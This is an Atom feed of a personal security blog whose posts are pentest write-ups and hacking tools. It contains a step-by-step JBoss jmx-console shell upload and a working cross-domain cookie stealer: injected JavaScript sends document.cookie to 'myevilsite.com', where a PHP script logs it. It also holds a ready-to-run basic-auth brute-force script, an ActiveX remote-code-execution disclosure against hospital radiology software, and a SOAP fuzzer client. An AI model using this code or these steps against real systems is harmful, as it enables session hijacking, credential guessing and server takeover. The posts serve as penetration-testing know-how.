<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8560078847754934499</id><updated>2012-02-16T15:00:11.195+01:00</updated><category term='IBM Lotus Domino token session hijacking'/><category term='Welcome'/><title type='text'>Inner Knowledge</title><subtitle type='html'>This blog is an attempt to explain in the clearest way various computer related matters with a particular interest towards security.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://inner-knowledge.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://inner-knowledge.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Cl@rity_533k4</name><uri>http://www.blogger.com/profile/14393825629015510845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Azlmeb3D3S4/S4e5eQ_L5HI/AAAAAAAAACg/5aAy3WVyp0c/S220/badoo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>11</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8560078847754934499.post-8474365033720004653</id><published>2010-06-25T18:13:00.005+02:00</published><updated>2010-06-25T18:21:31.207+02:00</updated><title type='text'>The curious case of JBoss Hacking</title><content type='html'>Hi everyone.&lt;br /&gt;
&lt;br /&gt;
Today I'd like to talk about the Hacking of Jboss.&lt;br /&gt;
&lt;br /&gt;
There are lots of resources on the net about it but maybe reading this article will hopefully help you when you come to a dead end because the configuration is not so standard.&lt;br /&gt;
&lt;br /&gt;
The prerequisite is that you have access to the jmx-console as admin.&lt;br /&gt;
It is not so rare seeing jboss where the jmx-console is not password protected.&lt;br /&gt;
&lt;br /&gt;
Well now what...&lt;br /&gt;
&lt;br /&gt;
You would like to shovel your nice shell by using the addURL() function in the DeploymentScanner, but suddenly you think wtf ....the victim machine cannot connect to my web server on any port (no reverse, only bind allowed)&lt;br /&gt;
&lt;br /&gt;
There is a workaround as described in this very detailed and nice paper:&lt;br /&gt;
&lt;br /&gt;
http://www.redteam-pentesting.de/publications/jboss (Read it before going further on)&lt;br /&gt;
&lt;br /&gt;
The technique described is about using another jboss class called: DeploymentFileRepository&lt;br /&gt;
at:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://host:8080/jmx-console/HtmlAdaptor?action=inspectMBean&amp;name=jboss.admin%3Aservice%3DDeploymentFileRepository&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
and its very useful store() function.&lt;br /&gt;
but sometimes thing go wrong anyway when you realize that after posting your jsp code, it doesn't get deployed by Jboss.&lt;br /&gt;
This is due to the fact that path where your, say shell.war, dir resides is not in the list of the deploymentscanner url and so the hot deployment fails&lt;br /&gt;
The solution is to verify where is your directory by inducing the server to an error:&lt;br /&gt;
&lt;br /&gt;
Function description:&lt;br /&gt;
&lt;br /&gt;
void store()&lt;br /&gt;
&lt;br /&gt;
MBean Operation.&lt;br /&gt;
Param   ParamType       ParamValue      ParamDescription&lt;br /&gt;
p1      java.lang.String                (no description)&lt;br /&gt;
p2      java.lang.String                (no description)&lt;br /&gt;
p3      java.lang.String                (no description)&lt;br /&gt;
p4      java.lang.String                (no description)&lt;br /&gt;
p5      boolean         True False      (no description)&lt;br /&gt;
&lt;br /&gt;
Expected values:&lt;br /&gt;
p1 = shell.war    (your dir name)&lt;br /&gt;
p2 = shell        (name of the jsp file containing the code)&lt;br /&gt;
p3 = .jsp         (extension) &lt;br /&gt;
p4 = &lt;jsp_code&gt;   (jsp code)&lt;br /&gt;
p5 = true&lt;br /&gt;
&lt;br /&gt;
Error inducing values: &lt;br /&gt;
p1 = ../shell.war&lt;br /&gt;
p2 = shell&lt;br /&gt;
p3 = .jsp&lt;br /&gt;
p4 = &lt;jsp_code&gt;&lt;br /&gt;
p5 = true&lt;br /&gt;
&lt;br /&gt;
Next check the following line:&lt;br /&gt;
&lt;br /&gt;
java.lang.IllegalArgumentException: child '../helpme.war' should be a child of parent &lt;b&gt;'/prd/jboss/bws/web/bws106/./deploy/management'&lt;/b&gt;&lt;br /&gt;
org.jboss.console.manager.DeploymentFileRepository.getFile(DeploymentFileRepository.java:151)&lt;br /&gt;
&lt;br /&gt;
The path '/prd/jboss/bws/web/bws106/deploy/management' is where your shell.war is residing.&lt;br /&gt;
Now that we know it, we have only to use the addURL() function of the deploymentscanner class.&lt;br /&gt;
&lt;br /&gt;
So head to:&lt;br /&gt;
http://host:8080/jmx-console/HtmlAdaptor?action=inspectMBean&amp;name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL&lt;br /&gt;
&lt;br /&gt;
Function description:&lt;br /&gt;
&lt;br /&gt;
void addURL()&lt;br /&gt;
&lt;br /&gt;
MBean Operation.&lt;br /&gt;
Param   ParamType       ParamValue      ParamDescription&lt;br /&gt;
p1      java.lang.String                (no description)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The url to input in the form relative to addURL() function is:&lt;br /&gt;
file:/prd/jboss/bws/web/bws106/deploy/management/&lt;br /&gt;
&lt;br /&gt;
Note the trailing slash.&lt;br /&gt;
&lt;br /&gt;
Now call your shell by loading the following url:&lt;br /&gt;
&lt;br /&gt;
http://host:8080/shell/shell.jsp&lt;br /&gt;
&lt;br /&gt;
Bye for now...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8560078847754934499-8474365033720004653?l=inner-knowledge.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://inner-knowledge.blogspot.com/feeds/8474365033720004653/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8560078847754934499&amp;postID=8474365033720004653' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/8474365033720004653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/8474365033720004653'/><link rel='alternate' type='text/html' href='http://inner-knowledge.blogspot.com/2010/06/curious-case-of-jboss-hacking.html' title='The curious case of JBoss Hacking'/><author><name>Cl@rity_533k4</name><uri>http://www.blogger.com/profile/14393825629015510845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Azlmeb3D3S4/S4e5eQ_L5HI/AAAAAAAAACg/5aAy3WVyp0c/S220/badoo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8560078847754934499.post-1853371597864119712</id><published>2010-02-09T18:34:00.013+01:00</published><updated>2010-02-15T13:04:32.906+01:00</updated><title type='text'>Ruby SOAP client with basic authentication and client certificate</title><content type='html'>During these days I had the need to do a pentest to a web service but since wsfuzzer wasn't working correctly I had to write my own ruby soap client that was able to connect to a ssl protected web service with client certificate and basic authentication.&lt;br /&gt;
After many hours spent looking for the suitable library, I've decided to use savon with ruby 1.8.7 (DON'T USE RUBY 1.9.1, it won't work).&lt;br /&gt;
First I had to convert 1 p12 certificate into 2 pem:&lt;br /&gt;
&lt;div style="color: #38761d; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;b&gt;&lt;span style="font-size: xx-small;"&gt;openssl pkcs12 -in global.p12 -out global.pem&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
Then we cut the private key part from global pem and copy it into protected_key.pem
&lt;br /&gt;
and issue the command:&lt;br /&gt;
(you gotta provide the password of your private key)&lt;br /&gt;
&lt;div style="color: #38761d; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;span style="font-size: xx-small;"&gt;&lt;b&gt;mv global.pem cert.pem&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="color: #38761d; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;span style="font-size: xx-small;"&gt;&lt;b&gt;openssl rsa -in protected_key.pem -out key.pem&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
The we can finally write the ruby code:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;require 'rubygems'&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
require 'savon'&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
client = Savon::Client.new "https://example.com/services?wsdl"
client.request.http.ssl_client_auth(&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
  :cert = OpenSSL::X509::Certificate.new(File.read("cert.pem")),&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
  :key = OpenSSL::PKey::RSA.new(File.read("key.pem")),&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
  :verify_mode =&amp;gt; OpenSSL::SSL::VERIFY_NONE
)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;

#BASIC AUTHENTICATION&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
client.request.basic_auth "User", "Password"&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;

puts client.wsdl.soap_actions&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
#puts client.wsdl.namespace_uri&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;

#don't forget @inorder otherwise the client will send you key values in a different sequence
different from #the one you wrote down&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
 
 response = client.add_customer do |soap|&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
   soap.body = {&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
       :id =111,&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
       :tel =1233,&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
       :issuer =asder,&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
       :payment_mode =1,&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
       :alias =asd,&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
       :@inorder = [:id, :tel, :issuer, :payment_mode, :alias]
   }&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;
end&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: green;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;

puts response.to_xml&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
Finally you have to add some permutation to your values to make it a real soap fuzzer.
You can start by getting the file all_attacks.txt used by from WSFuzzer&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8560078847754934499-1853371597864119712?l=inner-knowledge.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://inner-knowledge.blogspot.com/feeds/1853371597864119712/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8560078847754934499&amp;postID=1853371597864119712' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/1853371597864119712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/1853371597864119712'/><link rel='alternate' type='text/html' href='http://inner-knowledge.blogspot.com/2010/02/ruby-soap-client-with-basic.html' title='Ruby SOAP client with basic authentication and client certificate'/><author><name>Cl@rity_533k4</name><uri>http://www.blogger.com/profile/14393825629015510845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Azlmeb3D3S4/S4e5eQ_L5HI/AAAAAAAAACg/5aAy3WVyp0c/S220/badoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8560078847754934499.post-5642790652783032194</id><published>2010-01-25T12:37:00.005+01:00</published><updated>2010-03-04T12:29:40.592+01:00</updated><title type='text'>How to steal cross domain cookies via double XSS</title><content type='html'>&lt;style type="text/css"&gt;
span,body,table {font-family:"courier"; font-size:15px}
pre.courier{font-family:"courier";font-size:11px; font-style:"italic"}
ul.square{list-style-type:square}
&lt;/style&gt;

During a pentest to a big company using SSO (single-sign-on) system I found a stored xss
in one of their site, call it "a.com". This site unfortunately doesn't partecipate in the SSO login system,
so I had to devise a way to use it to steal the cookies from one of the SSO domains.
After some tests I found that "b.com" (one of the SSO domains) was vulnerable to reflected xss, so by injecting an iframe 
in a.com that as a source was calling the vulnerable "b.com" url that in turn was loading an image that as a source was calling
my server I managed to steal sso authenticated cookies.
Let's see some code:
(the code is taking advantage of jquery.js since it was originally loaded by a.com) 
The following code is an external js injected in the stored xss vulnerable parameter in "a.com"

&lt;br /&gt;
&lt;pre class="courier"&gt;&lt;span style="color: green;"&gt;
$(document).ready(function() {
var el = document.createElement("iframe");
el.setAttribute('id', 'ifrm');
el.setAttribute('heigth', '0');
el.setAttribute('width', '0');
el.style.visibility="hidden";
document.body.appendChild(el);
url="http://www.b.com/index.php?query=%22%3CSCRIPT/SRC=http://myevilsite.com/Cookie_Stealer/ex.js?";
el.setAttribute('src', url);

});

&lt;/span&gt;&lt;/pre&gt;
&lt;span style="color: green;"&gt;&lt;/span&gt;

where ex.js is:

&lt;br /&gt;
&lt;pre class="courier"&gt;&lt;span style="color: green;"&gt;
var Image = document.createElement("img");
Image.setAttribute("width","30");
Image.src="http://myevilsite.com/Cookie_Stealer/stealer.php?c="+encodeURI(document.cookie)+"&amp;amp;location="+document.location;
&lt;/span&gt;&lt;/pre&gt;
&lt;span style="color: green;"&gt;&lt;/span&gt;

and stealer.php code is:

&lt;br /&gt;
&lt;pre class="courier"&gt;&lt;span style="color: green;"&gt;
&amp;lt;?php
$cookie = $_GET["c"];
echo $cookie;
$file = fopen("cookielog.txt", "a")
or die("Cannot open it");
fwrite($file, $cookie . "\n\n");
?&amp;gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;span style="color: green;"&gt;&lt;/span&gt;


Finally by visiting a.com while being logged to any of the SSO domains causes your credentials being sent to my server&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8560078847754934499-5642790652783032194?l=inner-knowledge.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://inner-knowledge.blogspot.com/feeds/5642790652783032194/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8560078847754934499&amp;postID=5642790652783032194' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/5642790652783032194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/5642790652783032194'/><link rel='alternate' type='text/html' href='http://inner-knowledge.blogspot.com/2010/01/how-to-steal-cross-domain-cookies-via.html' title='How to steal cross domain cookies via double XSS'/><author><name>Cl@rity_533k4</name><uri>http://www.blogger.com/profile/14393825629015510845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Azlmeb3D3S4/S4e5eQ_L5HI/AAAAAAAAACg/5aAy3WVyp0c/S220/badoo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8560078847754934499.post-8235761168401153811</id><published>2009-10-21T17:59:00.005+02:00</published><updated>2009-10-21T18:08:45.432+02:00</updated><title type='text'>Using REXML for parsing XSS Cheat Sheet</title><content type='html'>&lt;style type="text/css"&gt;
body,table {font-family:"courier"; font-size:15px}
pre.courier{font-family:"courier";font-size:11px; font-style:"italic"}
ul.square{list-style-type:square}
&lt;/style&gt;
A small ruby snippets for parsing Xss cheat sheet at http://ha.ckers.org/xssAttacks.xml

&lt;pre class="courier"&gt;&lt;font color="green"&gt;

#Coded by cl@rity533k@
#!/usr/bin/ruby
require 'rexml/document'
include REXML
if ARGV.length &lt; 1 
     $stderr.puts("Usage: #{File.basename($0)} &lt;XSS.xml&gt;")
exit
end

if File.file?("#{ARGV[0]}") == false then
$stderr.puts("ERROR: xml file not found: #{ARGV[0]}.")
exit
end

file = File.new("#{ARGV[0]}")
Prod_array = Array.new
doc = Document.new(file)
root = doc.root


for prt in root.elements.to_a("//attack/code")
p prt.text 
end


&lt;/pre&gt;
&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8560078847754934499-8235761168401153811?l=inner-knowledge.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://inner-knowledge.blogspot.com/feeds/8235761168401153811/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8560078847754934499&amp;postID=8235761168401153811' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/8235761168401153811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/8235761168401153811'/><link rel='alternate' type='text/html' href='http://inner-knowledge.blogspot.com/2009/10/small-ruby-snippets-for-parsing-xss.html' title='Using REXML for parsing XSS Cheat Sheet'/><author><name>Cl@rity_533k4</name><uri>http://www.blogger.com/profile/14393825629015510845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Azlmeb3D3S4/S4e5eQ_L5HI/AAAAAAAAACg/5aAy3WVyp0c/S220/badoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8560078847754934499.post-3626154572184971633</id><published>2009-07-14T11:31:00.013+02:00</published><updated>2009-07-14T12:23:11.227+02:00</updated><title type='text'>0-day ActiveX on Radiology Software</title><content type='html'>&lt;style type="text/css"&gt;
body,table {font-family:"verdana"; font-size:15px}
&lt;br /&gt;
pre.courier{font-family:"courier";font-size:11px; font-style:"italic"}
&lt;br /&gt;
ul.square{list-style-type:square}
&lt;br /&gt;
&lt;/style&gt;

Hi everyone again!!&lt;br&gt;
I'd like to report an undisclosed vulnerability I found in a very commonly used Radiology Software during a pentest in a Hospital.
&lt;br&gt;&lt;br&gt;
Technical details:
&lt;br&gt;&lt;br&gt;
To work propery the application installs a cab file called prjkillhome.cab containing our ActiveX control.
&lt;br&gt;
Using ComRaider we can see that this control uses a potentially noxious function called OpenShell.
&lt;br&gt;&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Azlmeb3D3S4/SlxULVJduEI/AAAAAAAAACE/YoS9ZtTlcak/s1600-h/prjkill.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 220px;" src="http://1.bp.blogspot.com/_Azlmeb3D3S4/SlxULVJduEI/AAAAAAAAACE/YoS9ZtTlcak/s320/prjkill.png" alt="" id="BLOGGER_PHOTO_ID_5358250210296182850" border="0" /&gt;&lt;/a&gt;
&lt;br&gt;
By creating an html document that invokes it it's been possible to exploit it to run arbitrary code on the victim machine.
&lt;br&gt;
Following is a PoC that spawn calc.exe
&lt;br&gt;&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Azlmeb3D3S4/SlxZoC2e-YI/AAAAAAAAACU/glAONeBioOY/s1600-h/prjkill_xploit.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 166px;" src="http://1.bp.blogspot.com/_Azlmeb3D3S4/SlxZoC2e-YI/AAAAAAAAACU/glAONeBioOY/s320/prjkill_xploit.png" alt="" id="BLOGGER_PHOTO_ID_5358256201159080322" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8560078847754934499-3626154572184971633?l=inner-knowledge.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://inner-knowledge.blogspot.com/feeds/3626154572184971633/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8560078847754934499&amp;postID=3626154572184971633' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/3626154572184971633'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/3626154572184971633'/><link rel='alternate' type='text/html' href='http://inner-knowledge.blogspot.com/2009/07/0-day-activex-on-radiology-software.html' title='0-day ActiveX on Radiology Software'/><author><name>Cl@rity_533k4</name><uri>http://www.blogger.com/profile/14393825629015510845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Azlmeb3D3S4/S4e5eQ_L5HI/AAAAAAAAACg/5aAy3WVyp0c/S220/badoo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Azlmeb3D3S4/SlxULVJduEI/AAAAAAAAACE/YoS9ZtTlcak/s72-c/prjkill.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8560078847754934499.post-1366351992205121877</id><published>2009-07-03T17:13:00.011+02:00</published><updated>2009-07-03T17:34:17.831+02:00</updated><title type='text'>Ruby Brute Forcer for Basic Authentication</title><content type='html'>&lt;style type="text/css"&gt;
body,table {font-family:"courier"; font-size:15px}
pre.courier{font-family:"courier";font-size:11px; font-style:"italic"}
ul.square{list-style-type:square}
&lt;/style&gt;

Hi everyone since I've just started my coding in ruby, I'd like to give the Hacking community a small contribution. 

Here's a ruby script that given two files it attempts to brute force basic authentication login, like those of lotus notes or apache.

&lt;pre class="courier"&gt;&lt;font color="green"&gt;
#!/bin/ruby
require 'net/http'
require 'timeout'

print ("

Basic Auth Bruteforcer
----------------------------
Usage: #{File.basename($0)} url uri 


")
if ARGV.length &lt; 2
    $stderr.puts("Usage: #{File.basename($0)} &lt;url&gt; &lt;uri&gt;")
    exit
end

url = "#{ARGV[0]}"
p url
uri = "#{ARGV[1]}"
p uri
username = IO.readlines("user.txt")
password = IO.readlines("password.txt")
resp = href = "";
begin
http = Net::HTTP.new(url, 80)
   #http.use_ssl = true
 username.each do |user|
  password.each do |pass|
  p "trying  #{user.chomp} with password #{pass.chomp}"
   Timeout::timeout(3) do
   http.start do |http|
   req = Net::HTTP::Get.new(uri, {"User-Agent" =&gt; "wget"})
   req.basic_auth(user.chomp, pass.chomp)
   response = http.request(req)
    case response
     when Net::HTTPOK
      p resp = response.body
     when Net::HTTPUnauthorized
      p 'Unauthorized'
     else 
      p 'error'
    end
   end
   end
  end
 end
 rescue
  $stderr.print "Connection Failed: " + $! + "\n"
 rescue Timeout::Error
  p "Problem Connecting"

end
&lt;/pre&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8560078847754934499-1366351992205121877?l=inner-knowledge.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://inner-knowledge.blogspot.com/feeds/1366351992205121877/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8560078847754934499&amp;postID=1366351992205121877' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/1366351992205121877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/1366351992205121877'/><link rel='alternate' type='text/html' href='http://inner-knowledge.blogspot.com/2009/07/ruby-brute-forcer-for-basic.html' title='Ruby Brute Forcer for Basic Authentication'/><author><name>Cl@rity_533k4</name><uri>http://www.blogger.com/profile/14393825629015510845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Azlmeb3D3S4/S4e5eQ_L5HI/AAAAAAAAACg/5aAy3WVyp0c/S220/badoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8560078847754934499.post-8314057835086713268</id><published>2009-06-10T12:47:00.007+02:00</published><updated>2009-06-10T13:14:22.763+02:00</updated><title type='text'>Overly long UTF-8 encoding explained by a non byte eater</title><content type='html'>&lt;style type="text/css"&gt; /&gt;body,table {font-family:"courier"; font-size:15px}&lt;br /&gt;pre.courier{font-family:"courier";font-size:11px; font-style:"italic"}&lt;br /&gt;ul.square{list-style-type:square}&lt;br /&gt;&lt;/style&gt;Hello everyone, after reading the recent unicode attack vs SiteMinder, I've decided to write a dumb proof explanation of how the overly long UTF-8 encoding works since I couldn't find a good one.
To do this we need to know the rules for representing a valid  utf-8 octet sequence, a table to help us find the ASCII equivalent char and some binary notions.

&lt;ul class="disc"&gt;&lt;li&gt;The rules can be found at:
http://www.ietf.org/rfc/rfc2279.txt?number=2279 (1)&lt;/li&gt;

&lt;li&gt;The table can be found at:
http://www.utf8-chartable.de/unicode-utf8-table.pl (2)&lt;/li&gt;&lt;/ul&gt;
&lt;pre class="courier"&gt;From (1)

UTF-8 definition

In UTF-8, characters are encoded using sequences of 1 to 6 octets.
The only octet of a "sequence" of one has the higher-order bit set to
0, the remaining 7 bits being used to encode the character value. In
a sequence of n octets, n&gt;1, the initial octet has the n higher-order
bits set to 1, followed by a bit set to 0.  The remaining bit(s) of
that octet contain bits from the value of the character to be
encoded.  The following octet(s) all have the higher-order bit set to
1 and the following bit set to 0, leaving 6 bits in each to contain
bits from the character to be encoded.

The table below summarizes the format of these different octet types.
The letter x indicates bits available for encoding bits of the UCS-4
character value.



Yergeau                     Standards Track                     [Page 3]

RFC 2279                         UTF-8                      January 1998

UCS-4 range (hex.)        UTF-8 octet sequence (binary)
0000 0000-0000 007F       0xxxxxxx
0000 0080-0000 07FF       110xxxxx 10xxxxxx
